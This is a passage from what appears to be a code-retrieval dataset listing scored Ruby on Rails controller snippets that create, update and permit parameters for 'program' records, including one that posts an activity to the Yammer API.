"text": "def create\n @programa = Programa.new(params[:programa])\n\n respond_to do |format|\n if @programa.save\n format.html { redirect_to @programa, notice: 'Programa was successfully created.' }\n format.json { render json: @programa, status: :created, location: @programa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @programa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7405cf4b2cebfeef91f045e99a12e945",
"score": "0.6700271",
"text": "def create_program_params\n params.require(:program).permit(:name)\n end",
"title": ""
},
{
"docid": "af89852ff739f2df06304e8ab23a8d7b",
"score": "0.66832405",
"text": "def create\n @category_program = CategoryProgram.new(category_program_params)\n\n respond_to do |format|\n if @category_program.save\n format.html { redirect_to @category_program, notice: 'Category program was successfully created.' }\n format.json { render :show, status: :created, location: @category_program }\n else\n format.html { render :new }\n format.json { render json: @category_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae0cec8dc9bb8089f294aab73e9cf2ca",
"score": "0.66712195",
"text": "def create\n @program = Program.new(params[:program])\n\n respond_to do |format|\n if @program.save\n flash[:notice] = 'Program was successfully created.'\n format.html { redirect_to(@program) }\n format.xml { render :xml => @program, :status => :created, :location => @program }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "842d204e7fd0feaa2cadb27ec77ada47",
"score": "0.665109",
"text": "def create\n @program = Program.new(params[:program])\n\n ## setting @org_id to organization_account's org_id OR the org that was selected at programs/new\n # for use with creating program_subjects, program_sizes, program_cost_length_maps\n if current_organization_account.present?\n @org_id = current_organization_account.organization_id\n elsif (orgs = Organization.where(:name => params[:program][:organization_name])).present?\n @org_id = orgs.first.id\n end\n\n # creating program_subject, program_size, and program_cost_length_map objects\n # methods in helpers/program_helper.rb\n [:program_subjects, :program_sizes].each do |attrib|\n params[:program][attrib] = ApplicationHelper.send(\"make_#{attrib.to_s}\", params[:program][attrib], @org_id, @progr)\n end\n params[:program][:program_cost_length_maps] = make_program_cost_length_maps(params[:costs], params[:lengths], @org_id, @program.id)\n \n if @program.save\n [@cost_lengths, @subjects, @sizes].each do |arr|\n arr.each do |inst|\n inst.program_id = @program.id\n inst.save\n inst.index! if arr == @cost_lengths\n end\n end\n end\n respond_with(@program)\n end",
"title": ""
},
{
"docid": "240462bf5f0b7b7730e2f64d9c921a88",
"score": "0.66451514",
"text": "def create\n @programacion = Programacion.new(programacion_params)\n\n respond_to do |format|\n if @programacion.save\n format.html { redirect_to @programacion, notice: 'Programacion was successfully created.' }\n format.json { render :show, status: :created, location: @programacion }\n else\n format.html { render :new }\n format.json { render json: @programacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cfc871d7352563bff474d4c7055222b",
"score": "0.6580965",
"text": "def create\n @program = Program.new(params[:program])\n @program.sport_class_name = params[:program][:sport_class_name]\n @program.account = current_account\n\n flash[:notice] = 'Program was successfully created.' if @program.save\n respond_with(:admin, current_account, @program)\n end",
"title": ""
},
{
"docid": "19bb25229e6b89e2a126a980497d7f28",
"score": "0.65801686",
"text": "def create\n @education_program = EducationProgram.new(education_program_params)\n\n respond_to do |format|\n if @education_program.save\n format.html { redirect_to @education_program, notice: 'Education program was successfully created.' }\n format.json { render :show, status: :created, location: @education_program }\n else\n format.html { render :new }\n format.json { render json: @education_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a71d9b4a021e531804e4f064d4eb98d",
"score": "0.65758306",
"text": "def program_params\n params.require(:program).permit(:name, :color, :notes, :is_paid, :approval)\n end",
"title": ""
},
{
"docid": "8da9c0c4959cd502b056adf911f7224e",
"score": "0.6547926",
"text": "def create\n\n new_program = program_params[:new_program]\n\n Service::CreateProgramAndPerformCuts.new(new_program, current_user).run\n\n flash[:notice] = 'Program ok!'\n\n rescue StandardError => e\n puts e.backtrace\n error_response(e)\n\n rescue Exception => e\n unexpected_response(e)\n end",
"title": ""
},
{
"docid": "f24f50fdc0d89fafb6964f6b15c17d2c",
"score": "0.65220326",
"text": "def new\n @program = Program.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @program }\n end\n end",
"title": ""
},
{
"docid": "f24f50fdc0d89fafb6964f6b15c17d2c",
"score": "0.65220326",
"text": "def new\n @program = Program.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @program }\n end\n end",
"title": ""
},
{
"docid": "0e01c9ae7ac2678ab4d64429faf36c39",
"score": "0.650906",
"text": "def create\n @ped_program = PedProgram.new(params[:ped_program])\n\n respond_to do |format|\n if @ped_program.save\n format.html { redirect_to @ped_program, notice: 'Ped program was successfully created.' }\n format.json { render json: @ped_program, status: :created, location: @ped_program }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ped_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad9471f9bb56de5830c8190362565806",
"score": "0.65014404",
"text": "def create\n @admin_pay_program = Admin::PayProgram.new(admin_pay_program_params)\n\n respond_to do |format|\n if @admin_pay_program.save\n format.html { redirect_to @admin_pay_program, notice: 'Pay program was successfully created.' }\n format.json { render :show, status: :created, location: @admin_pay_program }\n else\n format.html { render :new }\n format.json { render json: @admin_pay_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "053e4e4e1949dad12d1afef8dff3aedb",
"score": "0.646452",
"text": "def create\n @after_school_program = AfterSchoolProgram.new(after_school_program_params)\n\n respond_to do |format|\n if @after_school_program.save\n format.html { redirect_to @after_school_program, notice: 'After school program was successfully created.' }\n format.json { render :show, status: :created, location: @after_school_program }\n else\n format.html { render :new }\n format.json { render json: @after_school_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c77291593a250cfcc0c0ea066d954d52",
"score": "0.6422563",
"text": "def create\n @program = Program.new(params[:program])\n @program.user_id = current_user.id\n token = current_user.access_token\n\n respond_to do |format|\n if @program.save\n payload = JSON.generate(\n {\n :activity => {\n :actor => {\n :name => current_user.full_name,\n :email => current_user.email\n },\n :action => 'create',\n :object => {\n :url => 'http://localhost:3000/programs/' + @program.id.to_s,\n :type => 'page',\n :title => @program.name + \" signup form\"\n }\n }\n })\n\n connection = Net::HTTP.new(\"www.yammer.com\", 443) # Create the connection to Yammer API\n connection.use_ssl = true # Enable SSL\n\n raw_response = connection.post(\"https://www.yammer.com/api/v1/activity.json?access_token=#{token}\", payload, {\n \"Content-Type\" => \"application/json\",\n \"Content-Length\" => payload.length.to_s\n })\n\n format.html { redirect_to \"/programs\", notice: 'Program was successfully created.' }\n format.json { render json: \"/programs\", status: :created, location: @programs }\n else\n format.html { render action: \"new\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e51ca4dcdcfedeb53e5088d5e5d3a146",
"score": "0.6416671",
"text": "def create\n @program = Program.new(program_params).tap(&:save)\n redirect_to @program\n rescue => _e\n render 'new'\n end",
"title": ""
},
{
"docid": "fee53b1ff77b853b6b29b4c90e36244d",
"score": "0.6415326",
"text": "def create\n @interaction_program = InteractionProgram.new(params[:interaction_program])\n\n respond_to do |format|\n if @interaction_program.save\n format.html { redirect_to \"/interaction_registered/#{@interaction_program.id}\" }\n format.json { render json: @interaction_program, status: :created, location: @interaction_program }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interaction_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "adbe6625049fb96a26058355d2c74979",
"score": "0.6393813",
"text": "def program_params\n params.require(:program).permit(:name, :category, :url, :description, :location)\n end",
"title": ""
},
{
"docid": "73f8161de458d6fe4ed84b85af40dbe6",
"score": "0.6391593",
"text": "def create\n @programacion = Programacion.new(programacion_params)\n\n respond_to do |format|\n if @programacion.save\n format.html { redirect_to programaciones_path, notice: 'Se ha Creado un Registro.' }\n format.json { render :show, status: :created, location: @programacion }\n else\n format.html { render :new }\n format.json { render json: @programacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "75de531c94167c8c09aafec1879f48b9",
"score": "0.63845026",
"text": "def new\n @event = Event.find(params[:event_id])\n @program = @event.programs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @program }\n end\n end",
"title": ""
},
{
"docid": "e4ed6429a9fbd6fb7b20c4acdf0bf496",
"score": "0.63822234",
"text": "def create\n @programme = Programme.new(params[:programme])\n\n respond_to do |format|\n if @programme.save\n format.html { redirect_to @programme, notice: 'Programme was successfully created.' }\n format.json { render json: @programme, status: :created, location: @programme }\n else\n format.html { render action: \"new\" }\n format.json { render json: @programme.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c615a78bb4af69377da7a31ec9d7ac0f",
"score": "0.63618374",
"text": "def create\n @center_program = CenterProgram.new(params[:center_program])\n\n respond_to do |format|\n if @center_program.save\n format.html { redirect_to @center_program, notice: 'Center program was successfully created.' }\n format.json { render json: @center_program, status: :created, location: @center_program }\n else\n format.html { render action: \"new\" }\n format.json { render json: @center_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ebe42a26acb873daeab0549ea08e9cec",
"score": "0.6347925",
"text": "def create\n @program_of_study = ProgramOfStudy.new(program_of_study_params)\n\n respond_to do |format|\n if @program_of_study.save\n format.html { redirect_to @program_of_study, notice: 'Program of study was successfully created.' }\n format.json { render :show, status: :created, location: @program_of_study }\n else\n format.html { render :new }\n format.json { render json: @program_of_study.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "953fbef4ae0756452e1afad45643a021",
"score": "0.6325837",
"text": "def create\n @program_exm = ProgramExm.new(program_exm_params)\n\n respond_to do |format|\n if @program_exm.save\n format.html { redirect_to @program_exm, notice: 'Program exm was successfully created.' }\n format.json { render :show, status: :created, location: @program_exm }\n else\n format.html { render :new }\n format.json { render json: @program_exm.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0210a0a8df5afd58cb0d2f49a45df63",
"score": "0.6279787",
"text": "def create\n respond_to do |format|\n if @program.save\n flash[:notice] = \"Program successfully saved.\"\n format.html { redirect_to program_path(@program) }\n format.xml { head :ok }\n else\n flash[:error] = \"An error occurred.\"\n format.html { render :action => 'new' }\n format.xml { render :xml => @program.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "5431d7d3d6cdb82e3ea6612bce31f5aa",
"score": "0.6277597",
"text": "def create\n puts('Relationships: ' + program_relationship_params)\n @program_relationship = ProgramRelationship.new(program_relationship_params)\n\n respond_to do |format|\n if @program_relationship.save\n format.html { redirect_to @program_relationship, notice: 'Program relationship was successfully created.' }\n format.json { render :show, status: :created, location: @program_relationship }\n else\n format.html { render :new }\n format.json { render json: @program_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e048ce41b30c8520ce5bf0d254779f2",
"score": "0.6257086",
"text": "def program_params\n params.require(:program).permit(:name, :description, :start_date, :end_date, :cmu_facilities, :off_campus_facilities, :num_minors, :num_adults_supervising, :irb_approval, :contact_id, affiliations_attributes: [:id, :organization_id, :program_id, :description, :followed_process, :_destroy])\n end",
"title": ""
},
{
"docid": "698fb79b56f2eeff5872526f7f79c5cd",
"score": "0.6256515",
"text": "def create\n @program = Program.new(program_params)\n @contact = Contact.new(contact_params)\n @contact.save!\n @program.contact_id = @contact.id\n respond_to do |format|\n if @program.save \n format.html { redirect_to @program, notice: 'Program was successfully created.' }\n format.json { render action: 'show', status: :created, location: @program }\n else\n @contact.delete\n format.html { render action: 'new' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70d6bd43437cbb04d11701f37d91ecc6",
"score": "0.62283605",
"text": "def create\n @course_programme = CourseProgramme.new(params[:course_programme])\n\n respond_to do |format|\n if @course_programme.save\n format.html { redirect_to @course_programme, notice: 'Course programme was successfully created.' }\n format.json { render json: @course_programme, status: :created, location: @course_programme }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course_programme.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8cdbe34f8024c7551472d0fb7d3f1ad8",
"score": "0.6191324",
"text": "def create\n \n if !(current_organization_account.nil?)\n @org_id = current_organization_account.organization_id\n else\n @org_id = Organization.where(:name => params[:program][:organization_name]).first.id\n end\n \n @subjects = []\n params[:program][:program_subjects].split(\", \").each do |f|\n @p = ProgramSubject.new(:program_id => params[:program][:id], :subject => f, :organization_id => @org_id)\n @subjects << @p\n end\n params[:program][:program_subjects] = @subjects\n \n @sizes = []\n params[:program][:program_sizes].each do |f|\n @p = ProgramSize.new(:program_id => params[:program][:id], :size => f, :organization_id => @org_id)\n @sizes << @p\n end\n params[:program][:program_sizes] = @sizes\n \n @cost_lengths = []\n params[:costs].each do |f|\n @p = ProgramCostLengthMap.new(:program_id => params[:program][:id], :cost => f.to_f, :organization_id => @org_id)\n @cost_lengths << @p\n end\n \n count = 0\n params[:lengths].each do |f|\n @p = @cost_lengths[count]\n @length = f.split(\" \")\n @p.length = @length[0].to_i.send(@length[1]).to_f\n @p.length_name = @length[1]\n @p.length_number = @length[0]\n @cost_lengths[count] = @p\n count = count + 1\n end\n \n params[:program][:program_cost_length_maps] = @cost_lengths\n \n @program = Program.new(params[:program])\n @program.location_name = THECOUNTRIES[@program.location]\n @program.organization_id = @org_id\n @program.truncated_description100 = RedCloth.new( ActionController::Base.helpers.sanitize(truncate @program.description, :length => 100), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html\n @program.description = RedCloth.new( ActionController::Base.helpers.sanitize( @program.description ), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html\n @program.program_cost_breakdown = RedCloth.new( ActionController::Base.helpers.sanitize( @program.program_cost_breakdown ), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html \n @program.cost_includes = RedCloth.new( ActionController::Base.helpers.sanitize( @program.cost_includes ), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html\n @program.cost_doesnt_include = RedCloth.new( ActionController::Base.helpers.sanitize( @program.cost_doesnt_include ), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html\n @program.accommodations = RedCloth.new( ActionController::Base.helpers.sanitize( @program.accommodations ), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html\n \n \n if (@program.overall.nil?) \n @program.overall= 0;\n end\n \n if @program.check_it_out[0..3] != \"http\"\n @program.check_it_out = \"http://\"+@program.check_it_out\n end\n\n if (user_signed_in? && current_user.admin?) || organization_account_signed_in?\n if @program.save\n @cost_lengths.each do |f|\n f.program_id = @program.id\n f.save!\n f.index!\n end\n @subjects.each do |s|\n s.program_id = @program.id\n s.save!\n end\n @sizes.each do |a|\n a.program_id = @program.id\n a.save!\n end\n redirect_to @program\n else\n @program.description = @program.description.gsub(%r{</?[^>]+?>}, '')\n @program.program_cost_breakdown = @program.program_cost_breakdown.gsub(%r{</?[^>]+?>}, '')\n @program.cost_includes = @program.cost_includes.gsub(%r{</?[^>]+?>}, '')\n @program.cost_doesnt_include = @program.cost_doesnt_include.gsub(%r{</?[^>]+?>}, '')\n @program.accommodations = @program.accommodations.gsub(%r{</?[^>]+?>}, '')\n \n flash[:notice] = flash[:notice].to_a.concat @program.errors.full_messages\n render :action => \"new\" \n end\n else\n redirect_to root_path\n end\nend",
"title": ""
},
{
"docid": "ea10507fd146856f403ba3c04b679b33",
"score": "0.6177851",
"text": "def program_params\n params.require(:education_program).permit(:name,\n levels_attributes: [:id, :name, :sequence, :program_ids]\n )\n end",
"title": ""
},
{
"docid": "ff165cdaa4bd7f895d5741ab00babe95",
"score": "0.610449",
"text": "def program_params\n params.require(:program).permit(:name, :slug, :price, :content)\n end",
"title": ""
},
{
"docid": "5c56fd8137dfb2dfefc6831a334689eb",
"score": "0.6095269",
"text": "def create\n @program_calification = ProgramCalification.new(program_calification_params)\n respond_to do |format|\n if @program_calification.save\n format.html { redirect_to @program_calification, notice: '¡Gracias por calificar el programa!' }\n format.json { render :show, status: :created, location: @program_calification }\n else\n format.html { render :new }\n format.json { render json: @program_calification.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "708b12b4d5d476ed317ee9399d08409d",
"score": "0.6041707",
"text": "def create\n @prog = Prog.new(prog_params)\n\n respond_to do |format|\n if @prog.save\n format.html { redirect_to @prog, notice: 'Prog was successfully created.' }\n format.json { render :show, status: :created, location: @prog }\n else\n format.html { render :new }\n format.json { render json: @prog.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04536adfbf1f774a3b4d5e322197e547",
"score": "0.60322315",
"text": "def program_new\n @program = Program.new\n @department = Department.find(params[:id])\n end",
"title": ""
},
{
"docid": "66d1dbab1f50e5b7497f3e3890a8c5c5",
"score": "0.60153097",
"text": "def create\n @programacion = Programacion.new(params[:programacion])\n\n respond_to do |format|\n if @programacion.save\n flash[:notice] = 'La Programación se creó correctamente.'\n format.html { redirect_to(@programacion) }\n format.xml { render :xml => @programacion, :status => :created, :location => @programacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @programacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3605ea9379d2a60acc6777cede5d978d",
"score": "0.599721",
"text": "def program_params\n params.require(:program).permit(:title, :user_id, :short_description, :description, :location, :image, :starts_at, :ends_at, :published, :active, :upcoming, :goal, )\n end",
"title": ""
},
{
"docid": "1c6b8aa8d698f73c7eae183b8d91e051",
"score": "0.59965086",
"text": "def insert_program\n name = params[:name]\n duration = params[:duration]\n #start_time = params[:starttime]\n description = params[:description]\n short_description = params[:shortdescription]\n channel_name = params[:channel_name]\n theChannel = Channel.where(:name => channel_name)\n\n theProgram = Program.new\n theProgram.name = name\n # Changes the '.' to ':'. Otherwise the Time.parse thinks the time is a date.\n for i in 0..duration.length\n if duration[i] == '.'\n duration[i] = ':'\n end\n end\n theProgram.duration = (duration)\n theProgram.starttime = DateTime.parse(start_time)\n theProgram.description = description\n theProgram.shortdescription = short_description\n\n theProgram.channel = theChannel[0]\n # render :json => theProgram.save\n end",
"title": ""
},
{
"docid": "4a5da0f68b2c494d9393ba7640df7045",
"score": "0.5995423",
"text": "def create\n @program_state = ProgramState.new(program_state_params)\n\n respond_to do |format|\n if @program_state.save\n format.html { redirect_to @program_state, notice: 'Program state was successfully created.' }\n format.json { render action: 'show', status: :created, location: @program_state }\n else\n format.html { render action: 'new' }\n format.json { render json: @program_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfd3c1a57af74d49b9ac4bd71ef28e13",
"score": "0.59904945",
"text": "def new\n @programa = Programa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @programa }\n end\n end",
"title": ""
},
{
"docid": "7a9e88b6e88aae442a18d28d3fc308de",
"score": "0.5984305",
"text": "def program_params\n params.require(:program).permit(:name,\n :brand_id,\n :overview,\n comments_attributes: [:id, :comment_id, :program_favorite])\n end",
"title": ""
},
{
"docid": "7241e4b8c85874c8ab3448def46e4bbf",
"score": "0.59515536",
"text": "def create\n program = Program.find(params[:program][:id])\n respond_to do |format| \n if VolunteerProgram.add_volunteers(params)\n flash[:notice] = 'Volunteers were successfully added to program.'\n #format.html {render \"programs/:id\", :controller => \"programs\", :action => \"show\", :id => program_id}\n format.html {redirect_to(program, :controller => \"programs\")}\n #format.html {redirect_to(show_program_path({\"id\"=>program_id})) }\n #format.xml { render :xml => @volunteer_program, :status => :created, :location => @volunteer_program }\n else\n format.html { render :action => \"new\" }\n # format.xml { render :xml => @volunteer_program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "739c5fae8d90086d8e8c758c903d7aa8",
"score": "0.5946348",
"text": "def program_params\n params.permit(:name, :created_at)\n end",
"title": ""
},
{
"docid": "d4ba07243d7bde2a2a21d668031687e5",
"score": "0.59380573",
"text": "def create\n @programme = Programme.new(programme_params)\n @programme.user = current_user\n @programme.programme_status = 'draft'\n\n\n respond_to do |format|\n if @programme.save\n format.html { redirect_to new_spec_path(programme: @programme.id), notice: 'Programme was successfully created.' }\n format.json { render :show, status: :created, location: @programme }\n else\n format.html { render :new }\n format.json { render json: @programme.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c6e22cf4ef8063334b7507ec75aaeaa",
"score": "0.59315556",
"text": "def create\n @program_subject = ProgramSubject.new(program_subject_params)\n\n respond_to do |format|\n if @program_subject.save\n format.html { redirect_to @program_subject}\n format.json { render :show, status: :created, location: @program_subject }\n else\n format.html { render :new }\n format.json { render json: @program_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cbca64bb7accab198882029bcf51a710",
"score": "0.59295994",
"text": "def create\n @radio_program = RadioProgram.new(params[:radio_program])\n\n respond_to do |format|\n if @radio_program.save\n format.html { redirect_to(@radio_program, :notice => 'Radio program was successfully created.') }\n format.xml { render :xml => @radio_program, :status => :created, :location => @radio_program }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @radio_program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e27aef8d697536267d6b22cff0c8d4f9",
"score": "0.5921834",
"text": "def new\n if current_user.superadmin?\n @program = Program.new\n #@program.director = Member.new(:role => 'PROGRAM DIRECTOR')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @program }\n end\n else\n respond_to do |format|\n flash[:error] = 'You have been denied access to this page because you do not have the right access to this page. If you believe that a mistake has been made, please contact <a href=\"mailto:h.samani@unsw.edu.au\">h.samani@unsw.edu.au</a>.'.html_safe\n format.html { redirect_to programs_url }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "d1b213e084d96162f7408806521ab368",
"score": "0.5904857",
"text": "def create\n @oprogram = Oprogram.new(oprogram_params)\n\n respond_to do |format|\n if @oprogram.save\n format.html { redirect_to @oprogram, notice: 'Oprogram was successfully created.' }\n format.json { render :show, status: :created, location: @oprogram }\n else\n format.html { render :new }\n format.json { render json: @oprogram.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f20aac3170201b6a9285ba6263860e8",
"score": "0.59037995",
"text": "def create\n @pc = Pc.new(pc_params)\n @programs = Program.all\n @t = pc_params\n \n respond_to do |format|\n if @pc.save\n installs = @pc.installs\n installs.each do |i|\n if i.program.blank?\n i.destroy\n end\n end\n format.html { redirect_to @pc, notice: 'Pc was successfully created.' }\n format.json { render :show, status: :created, location: @pc }\n else\n format.html { render :new }\n format.json { render json: @pc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cced8d22ef8b68f8a177410caa930bd7",
"score": "0.589235",
"text": "def employee_program_params\n params.require(:employee_program).permit(:employee_id, :program_id)\n end",
"title": ""
},
{
"docid": "c5b1eeb2fa8dbc6feacf535efeb507d8",
"score": "0.58543456",
"text": "def create\n @program_roster = ProgramRoster.new(program_roster_params)\n\n respond_to do |format|\n if @program_roster.save\n format.html { redirect_to @program_roster, notice: 'Program roster was successfully created.' }\n format.json { render :show, status: :created, location: @program_roster }\n else\n format.html { render :new }\n format.json { render json: @program_roster.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2077443bdbc5490407265f6fe216a93e",
"score": "0.5845714",
"text": "def programm_params\n params.require(:programm).permit(:name, :desc, :cat, :visible )\n end",
"title": ""
},
{
"docid": "35ab7874ae90b1d6be51c4c52d1f3b43",
"score": "0.5838251",
"text": "def create\n @program_employee = ProgramEmployee.new(program_employee_params)\n\n respond_to do |format|\n if @program_employee.save\n format.html { redirect_to @program_employee, notice: 'Program employee was successfully created.' }\n format.json { render action: 'show', status: :created, location: @program_employee }\n else\n format.html { render action: 'new' }\n format.json { render json: @program_employee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caa96338af3a41a455c615aa97486c02",
"score": "0.58274996",
"text": "def category_program_params\n params.require(:category_program).permit(:code, :descrip)\n end",
"title": ""
},
{
"docid": "e36dd5a9fe582a2fa800e5739af1820a",
"score": "0.5808966",
"text": "def program_calification_params\n params.require(:program_calification).permit(:id_user, :id_program, :comment, :calification)\n end",
"title": ""
},
{
"docid": "666eb34dafcb22e35056b3a3294f28cf",
"score": "0.5794549",
"text": "def program_role_params\n params.require(:program_role).permit(:program_id, :name, :description)\n end",
"title": ""
},
{
"docid": "4462e580570a78072fae60eb73990c97",
"score": "0.57895213",
"text": "def create\n @program_type = ProgramType.new(params[:program_type])\n\n respond_to do |format|\n if @program_type.save\n format.html { redirect_to(@program_type, :notice => 'Program type was successfully created.') }\n format.xml { render :xml => @program_type, :status => :created, :location => @program_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @program_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d10d4b5774d46f3e81aa72e9e8fb5176",
"score": "0.57742035",
"text": "def program_params\n params[:program]\n end",
"title": ""
},
{
"docid": "eb0787eaef099c09d1b8003cb32179e6",
"score": "0.57715863",
"text": "def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"title": ""
},
{
"docid": "4bf8ba696dad74fd4de3d8fc36b0943f",
"score": "0.5768565",
"text": "def create\n @programa_de_intere = ProgramaDeIntere.new(params[:programa_de_intere])\n\n respond_to do |format|\n if @programa_de_intere.save\n format.html { redirect_to @programa_de_intere, notice: 'Programa de intere was successfully created.' }\n format.json { render json: @programa_de_intere, status: :created, location: @programa_de_intere }\n else\n format.html { render action: \"new\" }\n format.json { render json: @programa_de_intere.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2df12cf31da183c2a32e3fb6aca2d8ab",
"score": "0.57402354",
"text": "def education_program_params\n params.require(:education_program).permit(:title, :academic_degree, course_ids: [], courses_attributes: [:name, :code, :credits, :description])\n end",
"title": ""
},
{
"docid": "e4c794a84d65ced597127d34b084d687",
"score": "0.57347274",
"text": "def update_program_params\n params.require(:program).permit(:name, :description, :url, :visible)\n end",
"title": ""
},
{
"docid": "90368e7217b62d4f382735465eeb2d14",
"score": "0.5734685",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n format.html { redirect_to @program, :notice => 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48ad53aada4ddd118a0b13fa39925eed",
"score": "0.5723101",
"text": "def new\n @interaction_program = InteractionProgram.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interaction_program }\n end\n end",
"title": ""
},
{
"docid": "87048556f4d74c15615beebbcd69b5a6",
"score": "0.57220143",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5edfcca0574d6d45d89c8c995ab78242",
"score": "0.57219505",
"text": "def new\n @program = Program.new\n\n respond_with(:admin, current_account, @program)\n end",
"title": ""
},
{
"docid": "aea9df1e9bb33cab74560d23d270e421",
"score": "0.57137805",
"text": "def program_params\n params.require(:program).permit(:title, :episode_title, :duration, :black_flag, :keyword_id, :sport_prediction, :sport_prediction_completed_at, :sport_prediction_started_at)\n end",
"title": ""
},
{
"docid": "95c844ace3fc7c74f7808743725efa87",
"score": "0.5707292",
"text": "def new\n\tif user_signed_in?\n\t\t@program = Program.new\n\n\t\trespond_to do |format|\n\t\t format.html # new.html.erb\n\t\t format.json { render json: @program }\n\t\tend\n\telse\n\t\tflash[:notice] = \"You don't have access to do that\"\n\t\tredirect_to :controller=>'home', :action => 'index'\n\tend\n end",
"title": ""
},
{
"docid": "a2deb0d2caa18e2abd5a3452ffd4f8aa",
"score": "0.5700547",
"text": "def create\n @reprogramacion = Reprogramacion.new(params[:reprogramacion])\n\n respond_to do |format|\n if @reprogramacion.save\n format.html { redirect_to @reprogramacion, notice: 'Reprogramacion was successfully created.' }\n format.json { render json: @reprogramacion, status: :created, location: @reprogramacion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reprogramacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "efe1919c7f4b3125bbdcb80c08ec5c5f",
"score": "0.5686619",
"text": "def new\n @ped_program = PedProgram.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ped_program }\n end\n end",
"title": ""
},
{
"docid": "cb4d24b1e1311617cc17d2c7aa41cf97",
"score": "0.5686518",
